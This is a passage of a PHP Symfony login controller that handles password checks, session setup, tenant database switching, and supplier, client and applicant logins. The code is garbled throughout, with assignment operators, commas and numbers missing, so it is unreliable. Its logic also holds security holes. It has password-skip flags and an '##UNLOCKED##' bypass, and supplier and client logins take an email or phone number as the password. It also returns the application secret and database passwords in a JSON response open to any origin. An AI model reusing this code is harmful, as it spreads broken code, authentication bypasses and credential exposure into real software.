  3804.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3805.                                 //                    return $response;
  3806.                             }
  3807.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3808.                                 "message" => $message,
  3809.                                 'page_title' => "Login",
  3810.                                 'gocList' => $gocDataList,
  3811.                                 'gocId' => $gocId
  3812.                             ));
  3813.                         }
  3814.                     }
  3815.                     if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  3816.                     } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  3817.                         $message "Wrong Email/Password";
  3818.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  3819.                             return new JsonResponse(array(
  3820.                                 'uid' => $session->get(UserConstants::USER_ID),
  3821.                                 'session' => $session,
  3822.                                 'success' => false,
  3823.                                 'errorStr' => $message,
  3824.                                 'session_data' => [],
  3825.                             ));
  3826.                             //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  3827.                             //                    return $response;
  3828.                         }
  3829.                         return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  3830.                             "message" => $message,
  3831.                             'page_title' => "Login",
  3832.                             'gocList' => $gocDataList,
  3833.                             'gocId' => $gocId
  3834.                         ));
  3835.                     }
  3836.                 }
  3837.                 if ($user) {
  3838.                     //set cookie
  3839.                     if ($remember_me == 1)
  3840.                         $session->set('REMEMBERME'1);
  3841.                     else
  3842.                         $session->set('REMEMBERME'0);
  3843.                     $userType $user->getUserType();
  3844.                     // Entity User
  3845.                     $userId $user->getUserId();
  3846.                     $session->set(UserConstants::USER_ID$user->getUserId());
  3847.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  3848.                     $session->set('firstLogin'$firstLogin);
  3849.                     $session->set(UserConstants::USER_TYPE$userType);
  3850.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  3851.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  3852.                     $session->set('oAuthImage'$user->getOAuthImage());
  3853.                     $session->set(UserConstants::USER_NAME$user->getName());
  3854.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3855.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  3856.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  3857.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  3858.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  3859.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  3860.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  3861.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  3862.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  3863.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  3864.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  3865.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  3866.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  3867.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3868.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3869.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3870.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3871.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3872.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3873.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  3874.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  3875.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  3876.                     $route_list_array = [];
  3877.                     //                    $loginID = $this->get('user_module')->addUserLoginLog($session->get(UserConstants::USER_ID),
  3878.                     //                        $request->server->get("REMOTE_ADDR"), $PL[0]);
  3879.                     $loginID EntityUserM::addEntityUserLoginLog(
  3880.                         $em_goc,
  3881.                         $userId,
  3882.                         $request->server->get("REMOTE_ADDR"),
  3883.                         0,
  3884.                         $deviceId,
  3885.                         $oAuthData['token'],
  3886.                         $oAuthData['type']
  3887.                     );
  3888.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  3889.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  3890.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  3891.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  3892.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  3893.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  3894.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  3895.                     $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  3896.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  3897.                     $appIdList json_decode($user->getUserAppIdList());
  3898.                     if ($appIdList == null)
  3899.                         $appIdList = [];
  3900.                     $companyIdListByAppId = [];
  3901.                     $companyNameListByAppId = [];
  3902.                     $companyImageListByAppId = [];
  3903.                     if (!in_array($user->getUserAppId(), $appIdList))
  3904.                         $appIdList[] = $user->getUserAppId();
  3905.                     foreach ($appIdList as $currAppId) {
  3906.                         if ($currAppId == $user->getUserAppId()) {
  3907.                             foreach ($company_id_list as $index_company => $company_id) {
  3908.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  3909.                                 $app_company_index $currAppId '_' $company_id;
  3910.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  3911.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  3912.                             }
  3913.                         } else {
  3914.                             $dataToConnect System::changeDoctrineManagerByAppId(
  3915.                                 $this->getDoctrine()->getManager('company_group'),
  3916.                                 $gocEnabled,
  3917.                                 $currAppId
  3918.                             );
  3919.                             if (!empty($dataToConnect)) {
  3920.                                 $connector $this->container->get('application_connector');
  3921.                                 $connector->resetConnection(
  3922.                                     'default',
  3923.                                     $dataToConnect['dbName'],
  3924.                                     $dataToConnect['dbUser'],
  3925.                                     $dataToConnect['dbPass'],
  3926.                                     $dataToConnect['dbHost'],
  3927.                                     $reset true
  3928.                                 );
  3929.                                 $em $this->getDoctrine()->getManager();
  3930.                                 $companyList Company::getCompanyListWithImage($em);
  3931.                                 foreach ($companyList as $c => $dta) {
  3932.                                     //                                $company_id_list[]=$c;
  3933.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  3934.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  3935.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  3936.                                     $app_company_index $currAppId '_' $c;
  3937.                                     $company_locale $companyList[$c]['locale'];
  3938.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  3939.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  3940.                                 }
  3941.                             }
  3942.                         }
  3943.                     }
  3944.                     $session->set('appIdList'$appIdList);
  3945.                     $session->set('companyIdListByAppId'$companyIdListByAppId);
  3946.                     $session->set('companyNameListByAppId'$companyNameListByAppId);
  3947.                     $session->set('companyImageListByAppId'$companyImageListByAppId);
  3948.                     $branchIdList json_decode($user->getUserBranchIdList());
  3949.                     $branchId $user->getUserBranchId();
  3950.                     $session->set('branchIdList'$branchIdList);
  3951.                     $session->set('branchId'$branchId);
  3952.                     if ($user->getAllModuleAccessFlag() == 1)
  3953.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  3954.                     else
  3955.                         $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  3956.                     $session_data = array(
  3957.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  3958.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  3959.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  3960.                         'firstLogin' => $firstLogin,
  3961.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  3962.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  3963.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  3964.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  3965.                         'oAuthImage' => $session->get('oAuthImage'),
  3966.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  3967.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  3968.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  3969.                         UserConstants::USER_COMPANY_LOCALE => $session->get(UserConstants::USER_COMPANY_LOCALE),
  3970.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  3971.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  3972.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  3973.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  3974.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  3975.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  3976.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  3977.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  3978.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  3979.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  3980.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  3981.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  3982.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  3983.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  3984.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  3985.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  3986.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  3987.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  3988.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  3989.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  3990.                         //new
  3991.                         'appIdList' => $session->get('appIdList'),
  3992.                         'branchIdList' => $session->get('branchIdList'null),
  3993.                         'branchId' => $session->get('branchId'null),
  3994.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  3995.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  3996.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  3997.                     );
  3998.                     $session_data $this->filterClientSessionData($session_data);
  3999.                     $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  4000.                     $token $tokenData['token'];
  4001.                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4002.                         $session->set('remoteVerified'1);
  4003.                         $response = new JsonResponse(array(
  4004.                             'token' => $token,
  4005.                             'uid' => $session->get(UserConstants::USER_ID),
  4006.                             'session' => $session,
  4007.                             'success' => true,
  4008.                             'session_data' => $session_data,
  4009.                         ));
  4010.                         $response->headers->set('Access-Control-Allow-Origin''*');
  4011.                         return $response;
  4012.                     }
  4013.                     if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  4014.                         if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  4015.                             if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  4016.                                 $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  4017.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4018.                                 return $this->redirect($red);
  4019.                             }
  4020.                         } else {
  4021.                             $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  4022.                         }
  4023.                     } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  4024.                         return $this->redirectToRoute("dashboard");
  4025.                     else
  4026.                         return $this->redirectToRoute($user->getDefaultRoute());
  4027. //                    if ($request->server->has("HTTP_REFERER")) {
  4028. //                        if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != '') {
  4029. //                            return $this->redirect($request->server->get('HTTP_REFERER'));
  4030. //                        }
  4031. //                    }
  4032. //
  4033. //                    //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  4034. //                    if ($request->request->has('referer_path')) {
  4035. //                        if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  4036. //                            return $this->redirect($request->request->get('referer_path'));
  4037. //                        }
  4038. //                    }
  4039.                     //                    if($request->request->has('gocId')
  4040.                 }
  4041.             } else {
  4042.                 if ($specialLogin == 1) {
  4043.                 } else if (strpos($uname'SID-') !== false) {
  4044.                     $specialLogin 1;
  4045.                     $userType UserConstants::USER_TYPE_SUPPLIER;
  4046.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4047.                     //*** supplier id will be last 6 DIgits
  4048.                     $str_app_id_supplier_id substr($uname4);
  4049.                     //                if((1*$str_app_id_supplier_id)>1000000)
  4050.                     {
  4051.                         $supplierId = ($str_app_id_supplier_id) % 1000000;
  4052.                         $appIdFromUserName = ($str_app_id_supplier_id) / 1000000;
  4053.                     }
  4054.                     //                else
  4055.                     //                {
  4056.                     //                    $supplierId = (1 * $str_app_id_supplier_id) ;
  4057.                     //                    $appIdFromUserName = (1 * $str_app_id_supplier_id) / 1000000;
  4058.                     //                }
  4059.                 } else if (strpos($uname'CID-') !== false) {
  4060.                     $specialLogin 1;
  4061.                     $userType UserConstants::USER_TYPE_CLIENT;
  4062.                     //******APPPID WILL BE UNIQUE FOR ALL THE GROUPS WE WILL EVER GIVE MAX 8 digit but this is flexible
  4063.                     //*** supplier id will be last 6 DIgits
  4064.                     $str_app_id_client_id substr($uname4);
  4065.                     $clientId = ($str_app_id_client_id) % 1000000;
  4066.                     $appIdFromUserName = ($str_app_id_client_id) / 1000000;
  4067.                 } else if ($oAuthData || strpos($uname'APP-') !== false || $applicantDirectLogin == 1) {
  4068.                     $specialLogin 1;
  4069.                     $userType UserConstants::USER_TYPE_APPLICANT;
  4070.                     $isApplicantLogin 1;
  4071.                     if ($oAuthData) {
  4072.                         $email $oAuthData['email'];
  4073.                         $userName $email;
  4074. //                        $userName = explode('@', $email)[0];
  4075. //                        $userName = str_split($userName);
  4076. //                        $userNameArr = $userName;
  4077.                     } else if (strpos($uname'APP-') !== false) {
  4078.                         $email $uname;
  4079.                         $userName substr($email4);
  4080. //                        $userNameArr = str_split($userName);
  4081. //                        $generatedIdFromAscii = 0;
  4082. //                        foreach ($userNameArr as $item) {
  4083. //                            $generatedIdFromAscii += ord($item);
  4084. //                        }
  4085. //
  4086. //                        $str_app_id_client_id = $generatedIdFromAscii;
  4087. //                        $applicantId = (1 * $str_app_id_client_id) % 1000000;
  4088. //                        $appIdFromUserName = (1 * $str_app_id_client_id) / 1000000;
  4089.                     } else {
  4090.                         $email $uname;
  4091.                         $userName $uname;
  4092. //                            $userName = substr($email, 4);
  4093. //                        $userName = explode('@', $email)[0];
  4094. //                            $userNameArr = str_split($userName);
  4095.                     }
  4096.                 }
  4097.                 $data = array();
  4098.                 if ($hasGoc == 1) {
  4099.                     if ($gocId != && $gocId != "") {
  4100. //                        $gocId = $request->request->get('gocId');
  4101.                         $gocDbName $gocDataList[$gocId]['dbName'];
  4102.                         $gocDbUser $gocDataList[$gocId]['dbUser'];
  4103.                         $gocDbPass $gocDataList[$gocId]['dbPass'];
  4104.                         $gocDbHost $gocDataList[$gocId]['dbHost'];
  4105.                         $appIdFromUserName $gocDataList[$gocId]['appId'];
  4106.                         $connector $this->container->get('application_connector');
  4107.                         $connector->resetConnection(
  4108.                             'default',
  4109.                             $gocDataList[$gocId]['dbName'],
  4110.                             $gocDataList[$gocId]['dbUser'],
  4111.                             $gocDataList[$gocId]['dbPass'],
  4112.                             $gocDataList[$gocId]['dbHost'],
  4113.                             $reset true
  4114.                         );
  4115.                     } else if ($appId != && $appId != "") {
  4116.                         $gocId $request->request->get('gocId');
  4117.                         $gocDbName $gocDataListByAppId[$appId]['dbName'];
  4118.                         $gocDbUser $gocDataListByAppId[$appId]['dbUser'];
  4119.                         $gocDbPass $gocDataListByAppId[$appId]['dbPass'];
  4120.                         $gocDbHost $gocDataListByAppId[$appId]['dbHost'];
  4121.                         $gocId $gocDataListByAppId[$appId]['id'];
  4122.                         $appIdFromUserName $gocDataListByAppId[$appId]['appId'];
  4123.                         $connector $this->container->get('application_connector');
  4124.                         $connector->resetConnection(
  4125.                             'default',
  4126.                             $gocDbName,
  4127.                             $gocDbUser,
  4128.                             $gocDbPass,
  4129.                             $gocDbHost,
  4130.                             $reset true
  4131.                         );
  4132.                     }
  4133.                 } else if ($specialLogin == && $appIdFromUserName != 0) {
  4134.                     $gocId = isset($gocDataListByAppId[$appIdFromUserName]) ? $gocDataListByAppId[$appIdFromUserName]['id'] : 0;
  4135.                     if ($gocId != && $gocId != "") {
  4136.                         $gocDbName $gocDataListByAppId[$appIdFromUserName]['dbName'];
  4137.                         $gocDbUser $gocDataListByAppId[$appIdFromUserName]['dbUser'];
  4138.                         $gocDbPass $gocDataListByAppId[$appIdFromUserName]['dbPass'];
  4139.                         $gocDbHost $gocDataListByAppId[$appIdFromUserName]['dbHost'];
  4140.                         $connector $this->container->get('application_connector');
  4141.                         $connector->resetConnection(
  4142.                             'default',
  4143.                             $gocDataListByAppId[$appIdFromUserName]['dbName'],
  4144.                             $gocDataListByAppId[$appIdFromUserName]['dbUser'],
  4145.                             $gocDataListByAppId[$appIdFromUserName]['dbPass'],
  4146.                             $gocDataListByAppId[$appIdFromUserName]['dbHost'],
  4147.                             $reset true
  4148.                         );
  4149.                     }
  4150.                 }
  4151.                 $session $request->getSession();
  4152.                 $em $this->getDoctrine()->getManager();
  4153.                 //will work on later on supplier login
  4154.                 if ($specialLogin == 1) {
  4155.                     if ($supplierId != || $userType == UserConstants::USER_TYPE_SUPPLIER) {
  4156.                         //validate supplier
  4157.                         $supplier $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccSuppliers')
  4158.                             ->findOneBy(
  4159.                                 array(
  4160.                                     'supplierId' => $supplierId
  4161.                                 )
  4162.                             );
  4163.                         if (!$supplier) {
  4164.                             $message "Wrong UserName";
  4165.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4166.                                 return new JsonResponse(array(
  4167.                                     'uid' => $session->get(UserConstants::USER_ID),
  4168.                                     'session' => $session,
  4169.                                     'success' => false,
  4170.                                     'errorStr' => $message,
  4171.                                     'session_data' => [],
  4172.                                 ));
  4173.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4174.                                 //                    return $response;
  4175.                             }
  4176.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4177.                                 "message" => $message,
  4178.                                 'page_title' => "Login",
  4179.                                 'gocList' => $gocDataList,
  4180.                                 'gocId' => $gocId
  4181.                             ));
  4182.                         }
  4183.                         if ($supplier) {
  4184.                             if ($supplier->getStatus() == GeneralConstant::INACTIVE) {
  4185.                                 $message "Sorry, Your Account is Deactivated";
  4186.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4187.                                     return new JsonResponse(array(
  4188.                                         'uid' => $session->get(UserConstants::USER_ID),
  4189.                                         'session' => $session,
  4190.                                         'success' => false,
  4191.                                         'errorStr' => $message,
  4192.                                         'session_data' => [],
  4193.                                     ));
  4194.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4195.                                     //                    return $response;
  4196.                                 }
  4197.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4198.                                     "message" => $message,
  4199.                                     'page_title' => "Login",
  4200.                                     'gocList' => $gocDataList,
  4201.                                     'gocId' => $gocId
  4202.                                 ));
  4203.                             }
  4204.                             if ($supplier->getEmail() == $request->request->get('password') || $supplier->getContactNumber() == $request->request->get('password')) {
  4205.                                 //pass ok proceed
  4206.                             } else {
  4207.                                 if ($skipPassword == 1) {
  4208.                                 } else {
  4209.                                     $message "Wrong Email/Password";
  4210.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4211.                                         return new JsonResponse(array(
  4212.                                             'uid' => $session->get(UserConstants::USER_ID),
  4213.                                             'session' => $session,
  4214.                                             'success' => false,
  4215.                                             'errorStr' => $message,
  4216.                                             'session_data' => [],
  4217.                                         ));
  4218.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4219.                                         //                    return $response;
  4220.                                     }
  4221.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4222.                                         "message" => $message,
  4223.                                         'page_title' => "Login",
  4224.                                         'gocList' => $gocDataList,
  4225.                                         'gocId' => $gocId
  4226.                                     ));
  4227.                                 }
  4228.                             }
  4229.                             $jd = [$supplier->getCompanyId()];
  4230.                             if ($jd != null && $jd != '' && $jd != [])
  4231.                                 $company_id_list $jd;
  4232.                             else
  4233.                                 $company_id_list = [1];
  4234.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4235.                             foreach ($company_id_list as $c) {
  4236.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4237.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4238.                             }
  4239.                             $user $supplier;
  4240.                         }
  4241.                     } else if ($clientId != || $userType == UserConstants::USER_TYPE_CLIENT) {
  4242.                         //validate supplier
  4243.                         $client $this->getDoctrine()->getRepository('ApplicationBundle\\Entity\\AccClients')
  4244.                             ->findOneBy(
  4245.                                 array(
  4246.                                     'clientId' => $clientId
  4247.                                 )
  4248.                             );
  4249.                         if (!$client) {
  4250.                             $message "Wrong UserName";
  4251.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4252.                                 return new JsonResponse(array(
  4253.                                     'uid' => $session->get(UserConstants::USER_ID),
  4254.                                     'session' => $session,
  4255.                                     'success' => false,
  4256.                                     'errorStr' => $message,
  4257.                                     'session_data' => [],
  4258.                                 ));
  4259.                                 //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4260.                                 //                    return $response;
  4261.                             }
  4262.                             return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4263.                                 "message" => $message,
  4264.                                 'page_title' => "Login",
  4265.                                 'gocList' => $gocDataList,
  4266.                                 'gocId' => $gocId
  4267.                             ));
  4268.                         }
  4269.                         if ($client) {
  4270.                             if ($client->getStatus() == GeneralConstant::INACTIVE) {
  4271.                                 $message "Sorry, Your Account is Deactivated";
  4272.                                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4273.                                     return new JsonResponse(array(
  4274.                                         'uid' => $session->get(UserConstants::USER_ID),
  4275.                                         'session' => $session,
  4276.                                         'success' => false,
  4277.                                         'errorStr' => $message,
  4278.                                         'session_data' => [],
  4279.                                     ));
  4280.                                     //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4281.                                     //                    return $response;
  4282.                                 }
  4283.                                 return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4284.                                     "message" => $message,
  4285.                                     'page_title' => "Login",
  4286.                                     'gocList' => $gocDataList,
  4287.                                     'gocId' => $gocId
  4288.                                 ));
  4289.                             }
  4290.                             if ($client->getEmail() == $request->request->get('password') || $client->getContactNumber() == $request->request->get('password')) {
  4291.                                 //pass ok proceed
  4292.                             } else {
  4293.                                 if ($skipPassword == 1) {
  4294.                                 } else {
  4295.                                     $message "Wrong Email/Password";
  4296.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4297.                                         return new JsonResponse(array(
  4298.                                             'uid' => $session->get(UserConstants::USER_ID),
  4299.                                             'session' => $session,
  4300.                                             'success' => false,
  4301.                                             'errorStr' => $message,
  4302.                                             'session_data' => [],
  4303.                                         ));
  4304.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4305.                                         //                    return $response;
  4306.                                     }
  4307.                                     return $this->render('@Authentication/pages/views/login_new.html.twig', array(
  4308.                                         "message" => $message,
  4309.                                         'page_title' => "Login",
  4310.                                         'gocList' => $gocDataList,
  4311.                                         'gocId' => $gocId
  4312.                                     ));
  4313.                                 }
  4314.                             }
  4315.                             $jd = [$client->getCompanyId()];
  4316.                             if ($jd != null && $jd != '' && $jd != [])
  4317.                                 $company_id_list $jd;
  4318.                             else
  4319.                                 $company_id_list = [1];
  4320.                             $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  4321.                             foreach ($company_id_list as $c) {
  4322.                                 $company_name_list[$c] = $companyList[$c]['name'];
  4323.                                 $company_image_list[$c] = $companyList[$c]['image'];
  4324.                             }
  4325.                             $user $client;
  4326.                         }
  4327.                     } else if ($applicantId != || $userType == UserConstants::USER_TYPE_APPLICANT) {
  4328.                         $em $this->getDoctrine()->getManager('company_group');
  4329.                         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  4330.                         if ($oAuthData) {
  4331.                             $oAuthEmail $oAuthData['email'];
  4332.                             $oAuthUniqueId $oAuthData['uniqueId'];
  4333.                             $user $applicantRepo->findOneBy(['email' => $oAuthEmail]);
  4334.                             if (!$user)
  4335.                                 $user $applicantRepo->findOneBy(['oAuthUniqueId' => $oAuthUniqueId]);
  4336.                         } else {
  4337.                             $user $applicantRepo->findOneBy(['username' => $userName]);
  4338.                             if (!$user)
  4339.                                 $user $applicantRepo->findOneBy(['email' => $email]);
  4340.                             if (!$user)
  4341.                                 $user $applicantRepo->findOneBy(['phone' => $email]);
  4342.                         }
  4343.                         $redirect_login_page_twig "@Authentication/pages/views/login_new.html.twig";
  4344. //                        if($systemType=='_BUDDYBEE_')
  4345. //                            $redirect_login_page_twig="@Authentication/pages/views/applicant_login.html.twig";
  4346.                         if (!$user) {
  4347.                             $message "We could not find your username or email";
  4348.                             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  4349.                                 return new JsonResponse(array(
  4350.                                     'uid' => $session->get(UserConstants::USER_ID),
  4351.                                     'session' => $session,
  4352.                                     'success' => false,
  4353.                                     'errorStr' => $message,
  4354.                                     'session_data' => [],
  4355.                                 ));
  4356.                             }
  4357.                             if ($systemType == '_BUDDYBEE_')
  4358.                                 return $this->redirectToRoute("applicant_login", [
  4359.                                     "message" => $message,
  4360.                                     "errorField" => 'username',
  4361.                                 ]);
  4362.                             else if ($systemType == '_CENTRAL_')
  4363.                                 return $this->redirectToRoute("central_login", [
  4364.                                     "message" => $message,
  4365.                                     "errorField" => 'username',
  4366.                                 ]);
  4367.                             else if ($systemType == '_SOPHIA_')
  4368.                                 return $this->redirectToRoute("sophia_login", [
  4369.                                     "message" => $message,
  4370.                                     "errorField" => 'username',
  4371.                                 ]);
  4372.                             else
  4373.                                 return $this->render($redirect_login_page_twig, array(
  4374.                                     "message" => $message,
  4375.                                     'page_title' => "Login",
  4376.                                     'gocList' => $gocDataList,
  4377.                                     'gocId' => $gocId
  4378.                                 ));
  4379.                         }
  4380.                         if ($user) {
  4381.                             if ($oAuthData) {
  4382.                                 // user passed
  4383.                             } else {
  4384.                                 if ($skipPassword == || $user->getPassword() == '##UNLOCKED##') {
  4385.                                 } else if (!$this->container->get('app.legacy_password_service')->verifyWithSalt($user->getPassword(), $request->request->get('password'), $user->getSalt())) {
  4386. //                                    if ($user->getPassword() == $request->request->get('password')) {
  4387. //                                        // user passed
  4388. //                                    } else {
  4389.                                     $message "Oops! Wrong Password";
  4390.                                     if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'0)) == 1) {
  4391.                                         return new JsonResponse(array(
  4392.                                             'uid' => $session->get(UserConstants::USER_ID),
  4393.                                             'session' => $session,
  4394.                                             'success' => false,
  4395.                                             'errorStr' => $message,
  4396.                                             'session_data' => [],
  4397.                                         ));
  4398.                                         //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  4399.                                         //                    return $response;
  4400.                                     }
  4401.                                     if ($systemType == '_BUDDYBEE_')
  4402.                                         return $this->redirectToRoute("applicant_login", [
  4403.                                             "message" => $message,
  4404.                                             "errorField" => 'password',
  4405.                                         ]);
  4406.                                     else if ($systemType == '_SOPHIA_')
  4407.                                         return $this->redirectToRoute("sophia_login", [
  4408.                                             "message" => $message,
  4409.                                             "errorField" => 'username',
  4410.                                         ]);
  4411.                                     else if ($systemType == '_CENTRAL_')
  4412.                                         return $this->redirectToRoute("central_login", [
  4413.                                             "message" => $message,
  4414.                                             "errorField" => 'username',
  4415.                                         ]);
  4416.                                     else
  4417.                                         return $this->render($redirect_login_page_twig, array(
  4418.                                             "message" => $message,
